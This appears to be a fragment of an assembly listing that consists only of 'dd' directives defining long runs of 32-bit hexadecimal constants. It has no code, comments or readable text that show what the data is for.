		dd 2476D491h, 0B2809022h, 72690EFh, 5C008894h, 9979D877h
		dd 8330128Fh, 2EE08C27h, 4E69651Eh, 0D7376C40h,	67691A6h
		dd 0CA85F2FCh, 0EA099919h, 40AAAFA1h, 9109970h,	0DF9373EDh
		dd 8092A466h, 602874A1h, 0B00594Ch, 55ED6975h, 6112279Fh
		dd 0FA6A516Bh, 6927FB4Eh, 0ABE0B05Dh, 996224C3h, 0AAC681B0h
		dd 0F85E0BF5h, 6100D490h, 0A4226E05h, 245D7B18h, 26CC92C3h
		dd 0D13D0030h, 0C00BDC90h, 3244448h, 0E8AE1BDAh, 0F23C9881h
		dd 49431B41h, 10C0C89Ch, 39CF2862h, 2BEDE0A4h, 0E8FFB96Ah
		dd 0F5680039h, 0A9ADC373h, 0DA0049C8h, 5142E57Ah, 60FBB654h
		dd 0C53A0D5h, 0B4185526h, 0BEE1127Eh, 83FD1646h, 8C801040h
		dd 0DF2676C0h, 0FA2CC869h, 4989A447h, 0CF48C017h, 9BBD07E0h
		dd 32897F5Dh, 0CCC4322Ch, 0EE40E894h, 7C42D136h, 41C100E6h
		dd 4B8310CFh, 0B07E0E17h, 2CB05C92h, 0A0247458h, 0C8077B0h
		dd 0A9297914h, 8B0107C2h, 0A2D82BC4h, 406028DCh, 1460FDE2h
		dd 0EBF07Ch, 7458B477h,	7F0FC2B7h, 0F6390B05h, 0C83DB5Dh
		dd 696BA8A8h, 0A67609A9h, 42004BDh, 0E79D3DD0h,	0E9A36E30h
		dd 0EB1ABh, 47E3037h, 4245589Ah, 0E69CEB00h, 2A93A753h
		dd 0B12D3DF6h, 0E0C70BFFh, 149CD5F9h, 7CDA1018h, 7EE7A188h
		dd 0CFDF02E4h, 0DDBC84E9h, 0A55A7040h, 0DE79046Eh, 2207C209h
		dd 7D31EF78h, 3D413A82h, 58E0C843h, 80B2C426h, 5C875200h
		dd 0FDAB1FF0h, 8918BBFBh, 0E0ECF98Dh, 0B36C6615h, 3A7C0CB0h
		dd 3B208Bh, 0EBF886CFh,	96B7BD7Eh, 2E2A3400h, 9842FCB5h
		dd 9FA5004Dh, 3A2B0403h, 0D8994190h, 0A1417821h, 0F8C93346h
		dd 47376980h, 594FAE5Ah, 38EE2402h, 60F03CCBh, 4D5D5678h
		dd 404C80A2h, 40A69012h, 3C4B4A4h, 0CC00CAB0h, 0EC3C45E8h
		dd 7BA191h, 2E325146h, 0B4E5FC49h, 970DAD00h, 88114CFBh
		dd 0B2CE0EE6h, 0E2A03B15h, 0EFA9DDCDh, 814DA200h, 0AB29697Ah
		dd 95CF0721h, 1044D9B5h, 5C67EB15h, 0BFFF4200h,	0EA5E6130h
		dd 0A380007Fh, 7E947617h, 0BD789F20h, 0CC0793F6h, 849BEC26h
		dd 0DEBFE210h, 8DE406h,	7D287B41h, 73870A6Eh, 0B160671Dh
		dd 50081ECCh
		dd 835C0009h, 5EB746ABh, 0B80019BCh, 27B67DB9h,	0B0DAE8h
		dd 1AA4789Dh, 0BF697707h, 25031E71h, 2AC43B68h,	0A17861CDh
		dd 0DCCCF334h, 8D1893A1h, 0C27086ABh, 0A9B43E56h, 39923A85h
		dd 70C0EF43h, 2A53FFh, 4ECA5907h, 3CB9E194h, 6BF95A00h
		dd 0E5065117h, 99A1036Dh, 0CA86C521h, 0A30110AEh, 0DBAFBE0Fh
		dd 5CCC8B7Fh, 1F8200BCh, 4B389347h, 0ACE0A2E8h,	633CC00h
		dd 6ED84A0Ah, 803C075Fh, 0EC3E0FBAh, 240092ACh,	33F9DC76h
		dd 6E631F3h, 7210E0B4h,	0EC0091DDh, 0C1B0EB6Dh,	297E269h
		dd 6CAE29CEh, 0D7E0E7F1h, 4100DC10h, 0BB699431h, 181DB3E2h
		dd 0F8882A0Eh, 4800D240h, 3BD687AAh, 0F01CCABh,	0EA0A1D34h
		dd 71AC7007h, 0D5B45D4Ch, 0A96F6017h, 0DE784B60h, 0C1450518h
		dd 29D12D49h, 8099E1EAh, 0EE6DA821h, 78249Bh, 0E4D3210Ah
		dd 0FB8DCD65h, 3453407h, 0F0CA1F7Dh, 974A4200h,	77436974h
		dd 2E0A3FCCh, 171CACD2h, 1FA4013h, 8A9A4E24h, 0ACE4FB01h
		dd 876A3AD7h, 40F86981h, 0D7DABF83h, 7930C944h,	274CB7Fh
		dd 0C3F8AA54h, 0D5BC4912h, 0F8A75040h, 2A804E84h, 39AC42C2h
		dd 5286BA40h, 29FB48AEh, 0C002A7Eh, 93B094C3h, 732263Bh
		dd 1C342423h, 0FAA5E14Dh, 81944B48h, 6633DF3Ch,	24122020h
		dd 60543AF8h, 0F4871C82h, 215EB00h, 2FBEA06Dh, 180A71C0h
		dd 0E0220534h, 79153ED6h, 1EA0E9A7h, 5E1C2F8Ah,	0EF970CC3h
		dd 0B5A299EDh, 0AA3020h, 82CAF790h, 3A43EACFh, 4AA35B03h
		dd 0F0EC2D96h, 1888B840h, 0E8601B3Ch, 0AF0039A9h, 1862C971h
		dd 92309269h, 0AD7C03CCh, 0BE54DE98h, 3CD80FBDh, 25A37FE0h
		dd 1C06E63Fh, 4C2CEB10h, 0F72209F1h, 7420AA14h,	0EF17BA49h
		dd 4AC5B100h, 6CFBEAB8h, 0BF1800F5h, 0D990B369h, 9300F454h
		dd 0C5D032E1h, 146DBA27h, 0AC20B292h, 0CCE214A0h, 0C215F60h
		dd 61C7E341h, 64F82C33h, 826EE10Dh, 0ABF9B0D0h,	41EC42E5h
		dd 0B440CB20h, 3C7807CCh, 0B5B00934h, 5044F4E1h, 384D4F18h
		dd 1874A458h, 0C0F7EDBEh, 0AE00E771h, 9EDC3E94h, 0CF17A3Fh
		dd 6C573C99h, 0E6000168h, 9D32E509h, 3D625497h,	0F600E77Dh
		dd 10DE64FDh, 0E2736104h, 44159503h, 8858AF75h,	5CA87638h
		dd 7D0ED3F1h, 1203BB9Eh, 4B92A2F7h, 30021045h, 48E80755h
		dd 0F4AD654h, 42F86FEh,	8AB948E0h, 0D1603B3Fh, 7BC25BD0h
		dd 0E5052ACDh, 1653054h, 0AE7A4660h, 950304B0h,	635AF944h
		dd 2E50C019h, 7F03079Eh, 2E351462h, 6A1F06A1h, 31D8245Fh
		dd 7CBF9D00h, 1C0FFAFEh, 804D4C14h, 677070h, 0E1160204h
		dd 61B4F005h, 0BD288905h, 90C2ED60h, 51F04044h,	0CA331F95h
		dd 0F05301EAh, 0F043088Ah, 0AA489093h, 7790D8E0h, 0D43356A7h
		dd 7F57373h, 630FE917h,	0FA84E037h, 1F00FD11h, 3B20319Fh
		dd 7CFF7E86h, 0A4A35310h, 19096C56h, 28205D86h,	3F280E2Ah
		dd 0DACD7503h, 0A84411A8h, 3C781D23h, 0C00016Eh, 9E64FBC0h
		dd 0C202387Eh, 1AA0E86Bh, 0E50E412Ah, 7371DC40h, 4250C948h
		dd 1C27CCA5h, 84BCC28Ch, 8C484010h, 5058D43Eh, 8681594h
		dd 0E7B603ECh, 9F119E74h, 2D9B9C0h, 220C3072h, 0D51FDF50h
		dd 0F165AD0Ch, 4C93087h, 0D7C28B7Ah, 77A0C841h,	0A811E404h
		dd 10903AAAh, 589A248h,	0F2EADB45h, 24442928h, 12072B98h
		dd 115F47EBh, 0A9B96410h, 84808AC8h, 913B5020h,	7C375D00h
		dd 0ACCB5C2Bh, 1EFF07B8h, 553C2E9Ch, 4DC00C4Fh,	69B84B28h
		dd 0A6C78D3Fh, 582454B1h, 8FAA3302h, 8144406Bh,	14C01EFh
		dd 0E64FCFC0h, 3427C483h, 206890CFh, 0AA35283Fh, 7760071Ch
		dd 0DB6D12C4h, 548080Ah, 82B72C99h, 846478D8h, 6DB04700h
		dd 6F959F67h, 0AF520089h, 460F6A1Ah, 320F883Ch,	0A9590617h
		dd 0B004905Dh, 8D600049h, 6AD7D878h, 944C9295h,	212877B0h
		dd 722C8077h, 0AF498C02h, 2D242028h, 514C40F0h,	2AE47855h
		dd 962EEAAh, 1F636EF9h,	0B6355820h, 7EEA5F75h, 0EE008571h
		dd 57AD1039h, 181DA1EBh, 0F821F7C7h, 8112AE3Ah,	4C4F55DCh
		dd 0B087603Dh, 72D5CDEh, 0F92F23FDh, 8C98F9F8h,	777BAE24h
		dd 7BB31B00h, 1EA2FF71h, 2CA100F8h, 8D7AAD2Bh, 420922EAh
		dd 171984Dh, 6E74D214h,	362F0834h, 119EDA8Eh, 36691600h
		dd 289575Bh, 4EC80331h,	0FB423D9Ch, 0E4E86AC2h,	136036C2h
		dd 0D58A83E1h, 60192417h, 0FD688498h, 8BBC84ACh, 0A41C7DDCh
		dd 3FEE08Bh, 1948C8BDh,	0FB480766h, 0A7F9175Fh,	0FF81735Bh
		dd 2738FDD0h, 3DAC5002h, 6B540764h, 47981810h, 82E8599Bh
		dd 7D162A70h, 0D841C9D5h, 0CD540348h, 3B445DEh,	2C669907h
		dd 2840D182h, 0A03FB0Eh, 0A115DDC6h, 0E5FAA806h, 296C991Ah
		dd 1C78B10Ch, 4794340Dh, 48A36BF4h, 0D7101850h,	179CF149h
		dd 6830CAE2h, 5CF9AEEDh, 0F602543Dh, 34BE7F3Ah,	24E0E8E2h
		dd 0C5EC88EDh, 0F99AC807h, 0D9C45647h, 44AEE490h, 0EA022473h
		dd 0A00940A4h, 9F0C812Fh, 7075E837h, 0CB8A0096h, 0FCD0CA01h
		dd 0C8602566h, 2AB44D18h, 0D0A74811h, 43620102h, 0E6C2AA04h
		dd 860DC4Ah, 0F09A81BFh, 669A4D0Ch, 0C7E503Ah, 61C87119h
		dd 0F553DBE8h, 1E3870h,	596BF936h, 260BB009h, 3D32A88Eh
		dd 0C1CD4218h, 9E0832BBh, 403ED835h, 696195AFh,	87D1B610h
		dd 0F648127Fh, 28C495ABh, 0D1008754h, 0D750F3DBh, 4C21C27Ah
		dd 7500BC1Fh, 5277C45Ch, 0EB0091C3h, 2581F57Bh,	0FC97EC01h
		dd 0C4954C45h, 65F0C28Ch, 8AD7E213h, 36E38440h,	0A1B0AEh
		dd 535E21FFh, 7F2E0B6h,	425B78C0h, 99AA70B4h, 801F1294h
		dd 0F530D090h, 2453E300h, 93DB2AA9h, 96810E0Dh,	0F140A8FEh
		dd 8C629403h, 71409D58h, 940C4B58h, 115383Ch, 40DD2B0Fh
		dd 54267F5Ch, 104ADE00h, 342A6C17h, 0D3E02559h,	0E463B420h
		dd 34390006h, 0EB6E95F0h, 0D605B78Eh, 76E9864Eh, 358A70DCh
		dd 610D62h, 354DD58Ch, 0F95D7236h, 39DC543Ch, 7C20AF4Ah
		dd 25622A53h, 3C984484h, 0D200DBA2h, 4874A622h,	801F83h
		dd 36F333FFh, 5EF59C0Fh, 24F8A113h, 0CF9FCC00h,	5865BBE6h
		dd 2C285CFFh, 0FC110080h, 2342E07h, 19B8242Bh, 8004393Eh
		dd 4E19EC62h, 0B8D46E11h, 76774Eh, 0BAC5929Eh, 0C1F407EFh
		dd 0D92B8E02h, 0EC5D0179h, 0B15C0AECh, 8E980D91h, 89805704h
		dd 0C8512DF9h, 4A35541Fh, 586AE024h, 3B0AE720h,	84F8182Eh
		dd 4A5A9160h, 12C6FEBAh, 13A13AD7h, 25E84770h, 0C92E001Ah
		dd 5B000994h, 0B36EA3D3h, 2824E192h, 8EF88656h,	235909F4h
		dd 208346FAh, 0E7B09D71h, 792E311Fh, 0A8005BF1h, 18556750h
		dd 44C0BCDh, 0D8181737h, 0A1009938h, 0DE7EAA11h, 392FCBBEh
		dd 0EC815DC3h, 4F38B5EBh, 0F8E2DA9Bh, 57AC98E5h, 9CD76D02h
		dd 6088421Bh, 30D55B06h, 6CA83951h, 0C8091005h,	3608E3h
		dd 77F05CC4h, 0E0EA1747h, 24D02D41h, 520BA178h,	98F47B1Dh
		dd 0E9298DCh, 938981FFh, 46F71180h, 0A3094F2Dh,	0E98D6Ah
		dd 4A36AAA0h, 0AEB20053h, 38B8B03Ch, 2B2686C4h,	28A8B8C8h
		dd 0BCE9CD07h, 6F20C9E8h, 181346CBh, 88A9A37Ah,	1E412080h
		dd 0F2ADD4h, 8965FE58h,	4BF92A62h, 9E40909Ch, 215C2AEh
		dd 0BFFC9099h, 0D82CA7A8h, 0C6BC156Ch, 1702987Fh, 18CB1969h
		dd 0E931F461h, 4A00368Dh, 17F1C2Ch, 0D5C15CF6h,	201141F2h
		dd 6F00927Ch, 0A845ACBCh, 12743194h, 2C3B495Fh,	0D270B1B0h
		dd 5812114Ah, 0FB7F1470h
		dd 92FF0DBh, 0EEF0B8B4h, 0A0598784h, 67FA0CE4h,	0E54EB894h
		dd 0A024C14Dh, 0DD075470h, 272D075Bh, 5071FA32h, 86B17806h
		dd 8133C827h, 3EBBD90h,	414B1828h, 9D6CBC0h, 8F0C2133h
		dd 9F3A29h, 3CB5C906h, 3E7E55h,	2DC25FADh, 82774DEFh, 80AF1D38h
		dd 54B59CF8h, 2CE71A5Ah, 833C0252h, 0B216E55Ch,	28F8A105h
		dd 8053A7F6h, 63C39803h, 82CC899Ch, 298052EDh, 928ECB43h
		dd 2FE2FC77h, 5DE4A951h, 430C5550h, 0B75CFC50h,	4FE3ACEBh
		dd 46F9C5D8h, 0D1361B01h, 0A24A9997h, 90D4CADEh, 12D9C84h
		dd 9E498E08h, 0F49FA7FDh, 6907D21Fh, 1019A00Ah,	98188CC0h
		dd 53C60EA1h, 0BECE7CD5h, 0A052DD21h, 5CE6E05Ah, 64810894h
		dd 0D4849135h, 125434h,	0CD45C3A5h, 0BD65370Ch,	0FBBC8A13h
		dd 7D797043h, 7862A29Eh, 0ED5E0098h, 0DD0FF5A2h, 0BA127808h
		dd 1827B67Dh, 0B024E899h, 0D7F3000Eh, 81AB727Bh, 4F007D62h
		dd 0EAB53D91h, 771528C0h, 9AC602DBh, 9BDC3359h,	45AB5860h
		dd 90E74E2Ah, 9E00B48h,	0A033F9B0h, 64AD53F8h, 0DC5D6Fh
		dd 43F8BE80h, 664C1EC4h, 9C98092Ch, 791048FCh, 3BBA12A6h
		dd 6CC00FEAh, 0A4B5BE47h, 5CBC909Bh, 0E000697Ch, 0F090E962h
		dd 288326B6h, 0A08C60h,	9C893957h, 145F1D6Bh, 79256D09h
		dd 7C46CCh, 0F49A7407h,	1CADA623h, 140974Dh, 1D3403BFh
		dd 0A0E4D5C0h, 66FD2C60h, 76803F00h, 8BEBB1AAh,	0C3009E8Ah
		dd 5CC9F7AFh, 3448FFh, 735117ECh, 4270639Ch, 0A0252005h
		dd 80EE71EFh, 7F91F84Fh, 52F0AD01h, 38E17C30h, 2D4A1E4h
		dd 3B09ED26h, 24D37F92h, 80B90580h, 14347EBBh, 0A406858Dh
		dd 96734206h, 0F300508Fh, 309DFD55h, 92BAE8F2h,	0E877F674h
		dd 9F034815h, 8B01503Dh, 7ACFE29Bh, 405028F0h, 8F007D84h
		dd 75D5EB18h, 0E05B6D1Dh, 9B961CBDh, 2EF60A90h,	9A512BEh
		dd 58E439E8h, 1CBD3815h, 5A7F01D8h, 0E7A2A7CDh,	0A0601C6Dh
		dd 0B93CDECBh, 4F15701h, 0F36E7840h, 65C27C3Ch,	9C40C82Ch
		dd 400F910h, 67D88884h,	16DCB0A0h, 407C5D46h, 9F58FF0h
		dd 8CB1ED1Dh, 8A079141h, 0E40F0C29h, 0BE04CE6Eh, 55BF0186h
		dd 9880A9CFh, 8458CA44h, 4148AE34h, 0F2142E9Ch,	0B26B002Ch
		dd 9E4D2CCh, 5CE40C84h,	0F0903C89h, 0BD1877F7h,	0A069CCADh
		dd 441C1670h, 3040252Ch, 0CB77B488h, 1F254339h,	0BC4B1B6Eh
		dd 806F8EF0h, 603F59ECh, 529CB661h, 9C85E444h, 0E0E6018Fh
		dd 481D7DE9h, 84B611h, 8B5E43AAh, 70002A7Eh, 0A1870107h
		dd 48E8FFC8h, 3B8B9CA8h, 1D4054C8h, 80CC300h, 904A2D44h
		dd 22423823h, 75BA6D80h, 0F75DDC5Eh, 0D2CC6C00h, 0FAA85628h
		dd 0D17F00EDh, 356F15E7h, 84002154h, 77DE1A0Dh,	729B885h
		dd 0BBFA4EDFh, 9BA52162h, 276EF0EBh, 5E3D4470h,	34550142h
		dd 401CEDB4h, 0D704788Eh, 966C7743h, 0F57AF3C7h, 16280688h
		dd 7CA5430Ch, 258A68h, 0AFF3C8D7h, 0F4B13F09h, 5EA09C1Eh
		dd 0C85584Eh, 0C9098D2h, 0FB8C5AADh, 8400C1A9h,	0BFB66061h
		dd 7BC416B0h, 4CE001FEh, 8364A5D8h, 3F6CC884h, 6AA2990Fh
		dd 74FAE0BDh, 1C377DF0h, 0C10FF75Eh, 0FB2F27FEh, 0E83A609Bh
		dd 8BB3E500h, 0B1EE91C1h, 2D0E00C9h, 9048DDA3h,	8E05C231h
		dd 9A6422D6h, 90002784h, 4986161Bh, 31060090h, 223373EBh
		dd 0A2E297CCh, 0EC080B01h, 85701399h, 0C7214849h, 18FA5DCCh
		dd 1948E7A1h, 8FEEFE9Eh, 0D3376600h, 44DB053Ah,	641100FCh
		dd 0AE2A1C6Ch, 900589Bh, 0C3B47369h, 705D2908h,	0B9A50013h
		dd 6B47DA46h, 0B0031ADh, 0D281371Fh, 0C8123Dh, 0C7F661B5h
		dd 252B8DAFh, 98CB2230h, 0C2B0B2DCh, 33F4A360h,	741DEC87h
		dd 0BA80C01Eh, 43E6AEBDh, 12F9913Ch, 2C4C6415h,	1076004h
		dd 49C10B56h, 0D4EFF8D7h, 0D90013E4h, 193C85E9h, 0EBDFAF1h
		dd 0F255AE8Dh, 46E7EA0h, 0D051AD88h, 6483F8E4h,	0F4E53E00h
		dd 5C21FB25h, 500B00E2h, 0C8CBA298h, 3904A6ACh,	0EC764DAh
		dd 4E5C0C80h, 0CF180008h, 82C2FB24h, 0E2EC6E2Bh, 1D0ED0C0h
		dd 676C63DBh, 5334D9E4h, 0B9000C1Ah, 6F3F06FCh,	0C3A6EEFEh
		dd 9F675950h, 0B6C0AFAAh, 42497BB4h, 47506650h,	0C05A05B8h
		dd 3CA894h, 0B7573ED4h,	11C9B02Dh, 383C2C37h, 874A2A5Bh
		dd 1D0C3B70h, 3A003FEh,	2CFE06E8h, 40D8800h, 69DFAFE5h
		dd 9B31483Ah, 0C1804238h, 2C138F8Dh, 0C0EA6467h, 0CF128EF2h
		dd 0E020B8B3h, 24A4E3A8h, 811C3BF0h, 0B669FD9Bh, 9EAAD8D4h
		dd 0AC568712h, 0D21BEC04h, 1F662100h, 33E82C14h, 73068D00h
		dd 460E1EE0h, 60909Bh, 8A1C4425h, 86E6BEC9h, 14559724h
		dd 888CA781h, 0B8853FC5h, 9D7C0A3h, 0B4018DAEh,	8F2D043Eh
		dd 320C8B29h, 1B358101h, 0D020959Ah, 0A54E2AB1h, 0B8FB0088h
		dd 17613912h, 231303F7h, 0F1090F56h, 75C000BBh,	0A0B20115h
		dd 0C2F9DCh, 3F39C1DFh,	6BFACEABh, 0F708BD00h, 4D45D1CBh
		dd 0D75B00C7h, 0AD3CCA13h, 0C1B58875h, 67703505h, 0F37900B2h
		dd 9F83108h, 1F0E1DA7h,	922F9AEDh, 0C022244Fh, 0E9048088h
		dd 2A5FE63Fh, 0D0949Bh,	2BA8B086h, 8B43C30h, 0FDFF4CA8h
		dd 383F4102h, 487365FCh, 64F342Ch, 93475766h, 99C0D0E3h
		dd 0C1B76253h, 7C30FB4Ch, 5E3D0360h, 0B176C0FAh, 235D5001h
		dd 0A174364Eh, 0B2BFC77Fh, 0D8694788h, 0AF9EDCA6h, 2D653400h
		dd 0CED5D9B4h, 7EE5005Fh, 6484C560h, 8C9AF992h,	1E7FA776h
		dd 0C4297B00h, 0CE1F3019h, 0C02D3A91h, 8EBE5380h, 0A7E83BC1h
		dd 771C709Ah, 0DEEDD9FCh, 4E3707F8h, 559F53D7h,	0E646C2F8h
		dd 48E2FD03h, 8869C5F6h, 2AEF0Fh, 5E099DDBh, 0CDD437E4h
		dd 0DA0A74E4h, 308BB689h, 93045828h, 26F8EE0h, 8B9A4490h
		dd 9C854948h, 0EEB35202h, 384460DAh, 0AA212200h, 0B26C507Bh
		dd 48DE773Dh, 7600ACEEh, 0A803311Fh, 9B58686Ah,	4E6D138Ah
		dd 0AA2D2809h, 2E87C000h, 40807317h, 0E76A9827h, 0A85C2DECh
		dd 2AF906D4h, 1D980DE6h, 898E5F70h, 0C402EC93h,	0D08061CDh
		dd 0C0F2BDF7h, 0FA1E2BE0h, 0E64C9670h, 3813E0AAh, 745939D8h
		dd 7B02583Bh, 0AA6348EBh, 0C29F440h, 5E1B4300h,	0D6DBDE6Ah
		dd 2A082654h, 0C0F930EAh, 4C004060h, 6C34CEBCh,	0E992F2D9h
		dd 40321C25h, 345A85Eh,	80ED2510h, 0D27C023h, 13B8C0C4h
		dd 78BB8B60h, 0F4D45654h, 619C9030h, 591D5B3Ah,	801CC87h
		dd 36685ADAh, 0CAC1800Eh, 0CE953D51h, 1EA1FA1h,	5618FDD5h
		dd 532841B2h, 9A52B926h, 200A2F09h, 8816FA7Ch, 0F098C7h
		dd 5B577242h, 657060E2h, 390CA609h, 4A7C10E4h, 0C3740438h
		dd 0D0F3A558h, 83CC4FC4h, 0DDE6E10Bh, 86440161h, 0D080E220h
		dd 0BCEF46D8h, 0AC906E81h, 67DB3603h, 930B03E5h, 0E9403BA3h
		dd 1C651B8Ch, 0C1FFC11h, 1C26F8DAh, 29244A28h, 67008E2Bh
		dd 0E3E74F3Ah, 1624B0FEh, 0F5E15F8h, 0DC602D20h, 0FAA60565h
		dd 0D0BA48h, 0F394D196h, 4BFDB10h, 484C69AEh, 0E378D084h
		dd 24051781h, 5CBC0847h, 7C0E6090h, 0DE7015C8h,	0D703DC91h
		dd 0D0F07568h, 0F224D100h, 697C781Bh, 171C152Bh, 2444C8E0h
		dd 1A71002Dh, 2A8610CEh, 0B60096F8h, 38DB14D6h,	190CC8Dh
		dd 2F7022C2h, 24BA0F10h, 120940A8h, 30A1E3B0h, 13E83D18h
		dd 585C9B53h, 29C86834h, 6543049h, 79C5FB68h, 0F75F0278h
		dd 263E564Fh, 3F71E760h, 44BC5D01h, 9498E87Fh, 0C2C70h
		dd 581C6F67h
		dd 0BC107271h, 178C8B01h, 46DBED3Ch, 60C897h, 1CA9F805h
		dd 717EE2C7h, 0DAB82615h, 97C20084h, 2F816044h,	458B0177h
		dd 0EF285708h, 0EB3AF824h, 0FC4A856h, 0C425C880h, 0B48AC70Dh
		dd 9D8BEB01h, 35051B34h, 4C408134h, 7262FB3Dh, 1129F024h
		dd 63FB050h, 1727A15Dh,	0BABE0030h, 8F208E46h, 517967Ch
		dd 4208085h, 0B85171F0h, 7D8890ACh, 3A930044h, 9E505520h
		dd 4B07DC6Fh, 6AD1B643h, 0F0C2A825h, 5AD06059h,	0AE823E37h
		dd 0E60516h, 788B0E0Ch,	0C701FD21h, 0CBEA4DB1h,	0F870687Dh
		dd 8D5800B3h, 80064A4Ch, 4E0CD48Fh, 0C10B1A66h,	16C611F7h
		dd 1023017Dh, 276B2ABBh, 98F18074h, 0F62C0076h,	78BA683Ch
		dd 180CEBB1h, 0E879D2F7h, 5D040632h, 31B3E40Bh,	0C2D85063h
		dd 0ED4EB890h, 36A10455h, 90492521h, 22374468h,	0DFCB712h
		dd 14C1E423h, 3CC9B230h, 0CCF05026h, 0CC721118h, 0E5DEB100h
		dd 845D1EF3h, 461D056Eh, 16ED5202h, 0D2D8071Ch,	8233F325h
		dd 0CABAA5C8h, 86ABD000h, 0D1C00922h, 0B12B00A2h, 2E12C51Dh
		dd 0A00E65AAh, 77334B07h, 0B8167449h, 51E5BD4h,	45071759h
		dd 0D867C405h, 0C138F9D4h, 0F3968146h, 0BAFC6F70h, 7D617C30h
		dd 0F9EE1FA0h, 0D58B9FD4h, 0B874E44Bh, 0A37E58h, 0C6AEF56Fh
		dd 0C03447F7h, 0D73D9A1Fh, 0C25780BBh, 8CB77D96h, 9C8700BCh
		dd 20C9A4A7h, 0D012E524h, 8C00F80Bh, 71E9D94Dh,	0C527006Ch
		dd 3A8F2D10h, 0EA005B90h, 0EEFD8CA0h, 0A867Ah, 0FC10E2A9h
		dd 7D4C6026h, 12009CFCh, 0F371B633h, 2A6653h, 0D8AD2051h
		dd 4F6485EDh, 80F4D33Eh, 4DD11745h, 123460BFh, 0F07CB1h
		dd 0DABB5A4Ch, 943D796Ch, 0FC151E0Ch, 9655D90Bh, 6E850064h
		dd 4BF9431Ah, 382582EBh, 448489E9h, 0F8F88388h,	9854EEh
		dd 0C2B9D678h, 0F1FE710Eh, 0D9142600h, 4EE89DE2h, 37A079Ah
		dd 0B59B2E01h, 0B5EC00DEh, 6EF235DAh, 270BEA05h, 0C88CA883h
		dd 94992E6Ah, 605D9700h, 416EB58Ch, 6254D7Ah, 15496E6h
		dd 0FF03491Ch, 488390C4h, 0DF60D064h, 0D11875C0h, 2EE90022h
		dd 47FDC081h, 9B2EC10Bh, 68294676h, 141DC041h, 0AF803C32h
		dd 0D67D54B9h, 0AA4E8918h, 0B2B8089h, 0C40A1C1Fh, 50139C20h
		dd 9F4C6A1Eh, 368200F8h, 7C7E111Fh, 0D4835CBBh,	81222FB0h
		dd 8574AF0Eh, 8259B886h, 4AADEA7Dh, 3FC20C0h, 0E894FBFDh
		dd 38B043E4h, 0C0942Ch,	0D111757Ah, 79255D8Ah, 4A9892C6h
		dd 60A4B20Ch, 18530324h, 0C1AC41D3h, 8C29682Bh,	54C1C4B9h
		dd 0C60620Eh, 2505001Ah, 0E57CF8E1h, 6C9087F4h,	81D1B439h
		dd 9626B557h, 0C8508486h, 0A7476035h, 0F2003E44h, 0E754ED6Fh
		dd 0D1079C5Dh, 10FD09CAh, 951D2AB0h, 7BE61281h,	0A69809C1h
		dd 4A00248Bh, 8C85328Dh, 0AA2C7C16h, 26ECAC50h,	66136865h
		dd 5400D8h, 0B074CDDCh,	3B43C8D4h, 0F64F9000h, 0E069E6B6h
		dd 0BF78BCh, 5FD7E2ACh,	0F77B1A8Bh, 0F0C075FEh,	8F1595EAh
		dd 9B7463h, 0EF6AB132h,	0C03BE59Dh, 7B1BD600h, 8F5C776Dh
		dd 7320B890h, 0B6270E4Bh, 0B58006E9h, 28CEBDC9h, 64986560h
		dd 0BA996741h, 12C27830h, 424FBCF0h, 455DC788h,	0A09DD860h
		dd 33524890h, 96DCh, 181B7D87h,	8CEF550Fh, 0E13E7440h
		dd 46EFAEDh, 1462AB3h, 50E48DB9h, 62D8FA28h, 3C222017h
		dd 2CC2D077h, 577C4801h, 4CD604EEh, 814B51BCh, 52A0840Ch
		dd 0E48E4FD8h, 80B4AF21h, 734187CFh, 4FE26D2h, 4CA46283h
		dd 0CDD102E7h, 0B2988DA0h, 84678860h, 7F1B8C00h, 7E4AD4B1h
		dd 8E6A04D9h, 808942BBh, 4C943137h, 5466AE03h, 0B7E799h
		dd 0EC34C638h, 0C5C45733h, 225CCB07h, 49604A5Ah, 367D190h
		dd 7AF10F55h, 5A014513h, 0B6F870CCh, 198080F5h,	32C24BA1h
		dd 0E900FF21h, 0D09F6EE0h, 2ADACEh, 58945E4Ah, 6D614FCh
		dd 5A7D500h, 75C0127Dh,	35930046h, 6111F7BEh, 2BEEA914h
		dd 0A545BB00h, 17826D91h, 1D676AFh, 56BE104Eh, 6ECBDDF1h
		dd 1E816A0h, 0F6C22F67h, 4602542Eh, 7A3F541Ch, 2A1193AEh
		dd 0B0A7E401h, 0B0BD2E96h, 9FCEBE00h, 77C1021Eh, 854667Eh
		dd 0D716FA4Ch, 0E400BE56h, 26E2FBD6h, 100D0075h, 9119B9B7h
		dd 89000273h, 8133F36Eh, 1580C1h, 0FBCE3664h, 0A38A110Ah
		dd 1C8864ABh, 47007F0Eh, 0D19FDBB8h, 0A36B7C5h,	0B61395C2h
		dd 8C0A14B0h, 2C9DDA0h,	0A80CC718h, 0AFCC18h, 3A407919h
		dd 9B0757B6h, 35A46E00h, 0E332E4D7h, 0DAB0C624h, 42002ACFh
		dd 869A1A7Dh, 89958Dh, 0A334073h, 194EB26Eh, 0F0D0D12Dh
		dd 8E9800DEh, 0BCC6702Eh, 86EECD82h, 1554EB00h,	769F1DBFh
		dd 0A9600055h, 83925D69h, 7C01DEB2h, 0C62630FBh, 2BD8E2DBh
		dd 95963A8Eh, 15E7777Ch, 0C82F9ACBh, 0E305B194h, 28F99D01h
		dd 0B60022B0h, 5E6E0A5h, 0B7683099h, 50004258h,	0DBB75C2h
		dd 490F5DFh, 0D8E5AE08h, 4114804Ah, 81009E25h, 0D66A1F9h
		dd 73FFC13Ah, 0A364385Fh, 0A79D3600h, 0AF99433Eh, 0F3E22602h
		dd 13537E21h, 57284805h, 0E2C1CBE8h, 51FC0A3Eh,	0FA422AC3h
		dd 60E924A8h, 56F0404Ch, 31384409h, 0EE2050Dh, 0B00573C6h
		dd 7040DFD4h, 87F567C9h, 0AD11937h, 0FC896910h,	0E61F8C60h
		dd 0F04C86B8h, 287FCDE4h, 28FC1477h, 0F90B024h,	8E3B8A0Dh
		dd 71454D00h, 490A34B3h, 0B4D57AD2h, 7525DA00h,	8CD4Ah
		dd 0F6173544h, 0BE19FCBh, 0C4209D24h, 0F2C82202h, 0A3B8B877h
		dd 8CAE002Ch, 0AADA40BBh, 0F0006998h, 570E0432h, 1F4F836Ch
		dd 4F2B6323h, 0BA0C764h, 0BE8F9684h, 0F3EE1A07h, 9341D8F9h
		dd 0E0CBB49Bh, 1D963068h, 0C056722Fh, 74C3D9A1h, 58002483h
		dd 52A75DD3h, 1435097Bh, 98875FE9h, 65474101h, 0FBB6B777h
		dd 2FD2C90Ah, 850AAC03h, 11090883h, 8F0899C3h, 0D371CB47h
		dd 0D080DF3Fh, 555A704Dh, 2CF2F6FBh, 2F909150h,	1BE3F700h
